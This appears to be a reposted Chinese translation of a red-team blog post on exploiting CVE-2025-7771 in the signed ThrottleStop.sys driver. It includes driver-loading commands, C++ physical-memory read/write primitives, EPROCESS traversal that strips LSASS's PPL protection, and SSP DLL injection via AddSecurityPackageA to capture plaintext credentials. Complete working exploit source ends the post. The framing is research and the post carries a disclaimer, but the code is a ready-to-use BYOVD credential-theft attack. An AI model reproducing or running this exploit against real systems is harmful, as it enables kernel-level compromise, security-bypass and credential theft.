文章总结: 本文详述了利用CVE-2025-7771漏洞进行红队攻击的过程。通过加载存在漏洞的已签名驱动ThrottleStop.sys,利用MmMapIoSpace实现任意物理内存读写。攻击者通过Superfetch转换地址,遍历EPROCESS链表定位LSASS,修改其PS_PROTECTION结构以禁用PPL保护,最终注入恶意SSPDLL绕过防护并窃取凭据。
综合评分: 91
文章分类: 红队,漏洞分析,漏洞POC,二进制安全,内网渗透
CVE-2025-7771:利用红队行动中的签名内核驱动程序
Ots安全
2025年12月25日 09:19
广东
威胁简报
恶意软件
漏洞攻击
大家好!
在这篇博文中,我将分享我们作为红队演练的一部分所开展的一项活动的细节。我们发现了一个内核驱动程序中的漏洞,并开发了相应的漏洞利用程序。利用该漏洞,我们禁用了本地安全授权子系统服务 (LSASS) 进程中的几项微软保护措施,从而以明文形式窃取了凭据。
作为这项研究的一部分而开发的漏洞利用程序针对的是CVE-2025-7771。
据我们所知,在撰写本文时,还没有针对此漏洞的公开利用方法,这项工作代表了第一个公开利用方法。
这种技术通常被称为自带漏洞驱动程序(BYOVD),其原理是加载一个合法签名但存在漏洞的内核驱动程序,利用其缺陷进行权限提升或绕过安全控制。
让我们一步一步地了解整个过程,首先简要介绍一下为什么内核驱动程序对攻击者如此有用。
攻击者、内核驱动程序和微软保护措施
对于攻击者而言,控制 Windows 驱动程序即可获得内核级执行权限,从而能够直接操控内存、拦截系统调用并访问原始硬件。被攻破的驱动程序可以禁用或绕过 EDR 或防病毒软件等安全工具,禁用或绕过微软的保护措施,并成为提升权限、部署恶意软件或横向移动的强大途径。
为了简化操作和实现跨平台兼容性,Windows 只使用 Ring 0 和 Ring 3,因此所有硬件驱动程序都在 Ring 0 中运行,它们可以访问特权指令和硬件设备。
处理器架构中的特权环:Ring 0(内核模式)提供最高特权
在这个特定的攻击场景中,它被用来禁用微软的受保护进程轻量级(PPL)保护。
为了防止这种情况发生,微软实施了不同的保护措施;下面介绍其中两种:
- Driver Signing
- Vulnerable Driver Blocklist
Driver Signing
微软强制执行驱动程序签名,以维护 Windows 内核的完整性和安全性。每个内核模式驱动程序都以高权限运行,可以直接与硬件和关键系统内存交互。允许使用未签名或未经验证的驱动程序,将为恶意软件或不稳定代码打开方便之门,使其能够以与操作系统相同的权限级别运行。
通过要求使用数字签名,Windows 确保只有经过验证且未被篡改的驱动程序才能在内核模式下运行。每个已签名的驱动程序都带有来源和完整性的加密证明,确保其未被更改或注入恶意载荷。
易受攻击的驱动程序黑名单
微软易受攻击驱动程序阻止列表(Microsoft Vulnerable Driver Blocklist)是 Windows 系统中集成的一项安全功能,它能阻止加载已知存在可利用漏洞的内核模式驱动程序,即使这些驱动程序已经过数字签名。微软与硬件供应商和安全研究社区合作维护此列表。
微软在其官方网页上表示,黑名单通常会随着每个主要的 Windows 版本更新而更新(大约每年 1-2 次),不过当发现新的威胁时,微软可能会通过 Windows 更新或作为安全汇总包的一部分发布临时更新。
如何找到已签名但未被屏蔽的驱动程序?
我们考虑了两种可能的方案:一是寻找未知的易受攻击的驱动程序,二是寻找近期报告的、尚未被微软列入黑名单的易受攻击驱动程序。由于时间限制,我们选择了第二种方案。
我们使用 MITRE 搜索了最新的与驱动程序相关的 CVE,并确定了CVE-2025-7771。
CVE 描述包含以下信息:
“ThrottleStop.sys 是一个合法的驱动程序,它公开了两个 IOCTL 接口,允许通过 MmMapIoSpace 函数对物理内存进行任意读写访问。恶意用户模式应用程序可以利用这种不安全的实现来修补正在运行的 Windows 内核,并以 ring-0 权限调用任意内核函数。该漏洞使本地攻击者能够在内核上下文中执行任意代码,从而导致权限提升,并可能引发后续攻击,例如禁用安全软件或绕过内核级保护。ThrottleStop.sys 版本 3.0.0.0 及其他版本可能受到影响。请按照供应商说明进行更新。”
我们首先安装了Throttlestop 驱动程序,验证了其 Microsoft 签名,并确认它不在驱动程序阻止列表中。
测试驱动程序
经过一番研究,我们发现 ThrottleStop软件根据版本不同(至少在我们评测的版本中)使用了两种不同的驱动程序。一种是WinRing0,另一种是ThrottleStop。
要与它们交互,必须创建一个服务并加载驱动程序 .sys 文件。
sc.exe create ThrottleStop type= kernel start= auto binPath= C:\Users\Public\ThrottleStop.sys DisplayName= "ThrottleStop"
net start ThrottleStop
sc.exe create WinRing0 type= kernel start= auto binPath= C:\Users\Public\WinRing0.sys DisplayName= "WinRing0"
net start WinRing0
发现漏洞
在开始对驱动程序进行逆向工程之前,我们找到了一篇卡巴斯基的文章,很有意思。这篇文章提供了一些有用的细节,尽管其中的IOCTL代码和其他一些数据与我们分析的驱动程序版本不符。尽管如此,我们仍然将其作为宝贵的参考资料,因为它帮助我们理解了地址转换,我们将在后面详细介绍这个主题。
我们确定该漏洞与MmMapIoSpace 函数有关,该函数用于将物理地址范围映射到非分页系统空间。如果驱动程序允许映射任意内核物理地址,攻击者就可以对这些映射区域进行读写操作。
找到易受攻击的 IOCTL
与driver互动:
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return-1;
}
else {
printf("[+] Handle on driver received!\n");
}
输入输出控制代码已识别:
# define IOCTL_MMMAPIOSPACE 0x8000645C
执行有效调用
为了执行有效的调用,我们需要了解驱动程序期望的数据结构,并确保其有效。经过一些尝试,我们确定以下数据结构有效:
#pragma pack(push,1)
typedefstruct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
确认漏洞
如前所述,该软件使用了两个驱动程序,这非常有用:一个驱动程序存在漏洞,另一个则不存在。这使我们能够直接比较它们的实现方式,并精确定位存在漏洞的驱动程序中的错误。
非易受攻击驱动程序:WinRing0
仅允许映射 0xC0000 到 0xFFFFF 之间的物理内存。
此设计作为一种保护机制,可防止从内核空间进行任意的物理内存读写操作。它将MmMapIoSpace 的调用限制在 0xC0000 到 0xFFFFF 的窗口(ROM/VGA/选项 ROM)内,从而阻止任何访问该范围之外内存的尝试。
驱动程序开发人员通常在面向用户的驱动程序中使用此技术,以确保不会滥用 IOCTL 调用来执行通用内核内存读/写操作。
WinRing0驱动程序不存在漏洞,访问的内存有边界。
易受攻击的驱动程序:ThrottleStop
该驱动程序在调用 MmMapIoSpace 之前不执行任何控制或验证,这使得攻击者可以映射任意物理内存。
ThrottleStop 驱动程序存在漏洞,内存访问不受限制。
地址翻译
在解释漏洞利用之前,我们首先描述一项必要的能力:将物理地址转换为虚拟地址。
为了实现这一目标,我们使用了Superfetch,采用了与 MedusaLocker 勒索软件背后的 APT 组织相同的方法,并在卡巴斯基博客文章中有所提及。
首先,我们初始化 Superfetch:
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}
然后,可以将物理地址转换为虚拟地址。
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
}
开发漏洞利用程序
所有这些代码部分准备就绪后,就可以使用存在驱动程序漏洞的 IOCTL 来创建读写原语。
读取原始数据
读取操作所需的内存很简单,只需映射内存,然后读取即可。
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
//in.PhysicalAddress = 0x000C0000ULL;
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsignedlonglong)virt_addr, (unsignedlonglong)result);
return result;
}
return-1;
}
写入原始
写入操作稍微复杂一些:首先映射目标内存,然后将所需数据写入映射区域,并相应地修改原始物理内存。
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (acepta 4 o 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsignedlonglong)what, (unsignedlonglong)where);
*(uint64_t*)out = what;
return0;
}
从内核内存地址读取受控值
禁用 PPL 保护
我们已经获得了可用的读写原语,现在可以投入使用了。
下一步是禁用LSASS 进程的PPL ,因此,我们需要确定PS_PROTECTION/PPL结构中需要修改的字段。
一旦我们禁用了 PPL,我们就可以自由地与 LSASS 交互:例如,我们可以转储凭据,或者像本例中一样,注入 SSP DLL。
这些保护措施存放在哪里?
这些保护措施存储在LSASS EPROCESS中的PS_PROTECTION/PPL结构中。
首先,需要找到 NT 内核基址 (ntoskrnl.exe)。然后,读取 PsInitialSystemProcess 指针;该指针指向 EPROCESS 双向链表的头部。可以使用 Flink/Blink 字段遍历该链表,直到找到 LSASS 的 EPROCESS。最后,找到该 EPROCESS 中相关的 PS_PROTECTION/PPL 字段,并对其进行修改以禁用保护。
此步骤如下图所示:
图示概述了禁用 LSASS 保护所涉及的结构
定位内核
要绕过kASLR并找到漏洞利用所需的内核结构,首先必须找到 NT 内核基址。在非低完整性 shell 中,可以使用EnumDeviceDrivers WinAPI 调用枚举已加载的内核模块,从而发现 ntoskrnl.exe 的基址。
它是在 GetBaseAddr 函数中实现的:
typedefNTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return0;
}
函数调用如下:
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
从 NT 到 EPROCESS 双链表
在 NT 内核基址的特定偏移量处,存在PsInitialSystemProcess指针;它指向System进程的EPROCESS结构。
NT 中的 PsInitialSystemProcess 指向系统进程
找到正确的 EPROCESS
从每个 EPROCESS 结构中,检查 ImageFileName(或 PID),并使用 Flink/Blink 字段遍历列表,直到找到 LSASS EPROCESS。如下面的代码片段所示:
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
下图展示了不同结构之间的连接方式:
EPROCESS 双链表
禁用PPL保护
要禁用 PPL,必须将PsProtectedType设置为 0,然后还必须将PsProtectedSigner设置为 0。
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
DLL注入
实现安全支持提供程序的DLL是 mimilib 库的混淆版本。该 DLL 实现了一个自定义的 SSP,会在身份验证期间将用户凭据记录到文件中。
我们找到了在 LSASS 进程中加载 DLL 的三种不同方法:
- 编辑注册表中的“hklm\system\currentcontrolset\control\lsa\Security Packages”,并提供 DLL 的路径。
- 替换“c:\windows\system32”中实现 SSP 的现有 DLL,该 DLL 在启动时默认加载。
- 使用AddSecurityPackageA() API 调用,并参考以下代码片段。
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
前两种方法都需要重启机器。因此,我们优先选择使用AddSecurityPackageA调用。
最终漏洞
最后一步完成后,代码编写完成,漏洞利用也完成了:
驱动程序已成功禁用 PPL 保护并注入 DLL。
您可以在以下视频中看到漏洞利用的执行过程:
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Ots安全已关注
分享视频
,时长01:18
0/0
00:00/01:18
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
01:18
01:18
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
CVE-2025-7771:利用红队行动中的签名内核驱动程序
观看更多
转载
,
CVE-2025-7771:利用红队行动中的签名内核驱动程序
Ots安全已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
您可以在下方找到完整的漏洞利用源代码。
感谢阅读,祝您编程愉快!🙂
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>
# define IOCTL_MMMAPIOSPACE 0x8000645C
#pragma comment(lib, "Secur32.lib")
#pragma pack(push,1)
typedefstruct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return0;
}
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsignedlonglong)virt_addr, (unsignedlonglong)result);
return result;
}
return-1;
}
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (Accepts 4 or 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsignedlonglong)what, (unsignedlonglong)where);
*(uint64_t*)out = what;
return0;
}
DWORD FindProcessId(const std::wstring& processName) {
DWORD processId = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return0;
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &entry)) {
do {
if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
processId = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return processId;
}
int main()
{
DWORD lsassPid = FindProcessId(L"lsass.exe");
printf("[+] Target process PID: %d\n", lsassPid);
//Installing the service
SC_HANDLE hSCManager;
SC_HANDLE hService;
// Open the Service Control Manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
printf("[!] Error opening SCM: %lu\n", GetLastError());
return1;
}
// Create the service
hService = CreateService(
hSCManager,
L"ThrottleStop",
L"ThrottleStop",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
L"C:\\Users\\Public\\a.sys",
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
printf("[+] Error creating service: %lu\n", GetLastError());
CloseServiceHandle(hSCManager);
//return 1;
}
printf("[!] Service created successfully.\n");
if (!StartService(hService, 0, NULL)) {
printf("[!] Error starting the service: %lu\n", GetLastError());
}
else {
printf("[+] Service started correctly.\n");
}
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return-1;
}
else {
printf("[+] Handle on driver received!\n");
}
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
CloseHandle(hDrv);
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
return0;
}
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CVE-2025-7771:利用红队行动中的签名内核驱动程序》